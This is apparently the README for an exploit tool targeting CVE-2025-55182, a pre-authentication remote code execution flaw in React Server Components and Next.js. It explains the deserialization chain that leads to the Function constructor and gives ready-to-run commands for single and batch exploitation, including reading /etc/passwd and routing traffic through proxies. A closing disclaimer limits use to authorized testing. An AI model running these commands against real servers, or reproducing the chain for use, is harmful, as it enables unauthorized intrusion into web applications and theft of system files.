CVE-2025-55182 - React2Shell

React Server Components / Next.js Pre-Authentication Remote Code Execution

Affected Versions

Vulnerability Details

This vulnerability exploits a deserialization flaw in the React Server Components (RSC) Flight protocol, achieving unauthenticated remote code execution by crafting a malicious multipart/form-data request. The full exploitation chain is as follows:

1. Trigger the Server Action path via POST multipart/form-data with a Next-Action header
2. Chunk "0" contains a specially crafted JSON object (not wrapped in an array); accessing $1:__proto__:then reaches Chunk.prototype.then on the PENDING-state Chunk 1 object, making it thenable
3. $1:constructor:constructor resolves through the prototype chain to the Function constructor
4. Chunk.prototype.then calls initializeModelChunk to parse the value field '{"then":"$B0"}'
5. $B0 blob resolution calls _formData.get(_prefix + "0"), i.e. Function(code + "0")

Dependency Installation

pip install requests[socks]

The script will automatically attempt to install requests and PySocks if dependencies are missing.

Usage

Single Target RCE

python CVE-2025-55182.py -u http://target:3000 -c "id"

Batch Exploitation

python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt

Vulnerability Check Only (no command execution)

python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt

Using a Proxy

# HTTP proxy
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080

# SOCKS5 proxy
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080

Debug Mode

python CVE-2025-55182.py -u http://target:3000 -c "id" -v

Full Parameter Description

Output Explanation

• VULN — Target is vulnerable, command execution result obtained
• MAYBE — Possibly vulnerable (e.g., read timeout)
• ERR — Connection error
• SAFE — No vulnerability detected

Batch scan results are written to the output file specified by -o, recording only confirmed vulnerable targets.

Example targets.txt Format

http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# Comment lines are ignored

Disclaimer

This tool is intended only for authorized security testing and security research purposes. Users must ensure they have explicit permission from the owner of the target system. Unauthorized penetration testing of systems is illegal; users bear all legal responsibilities.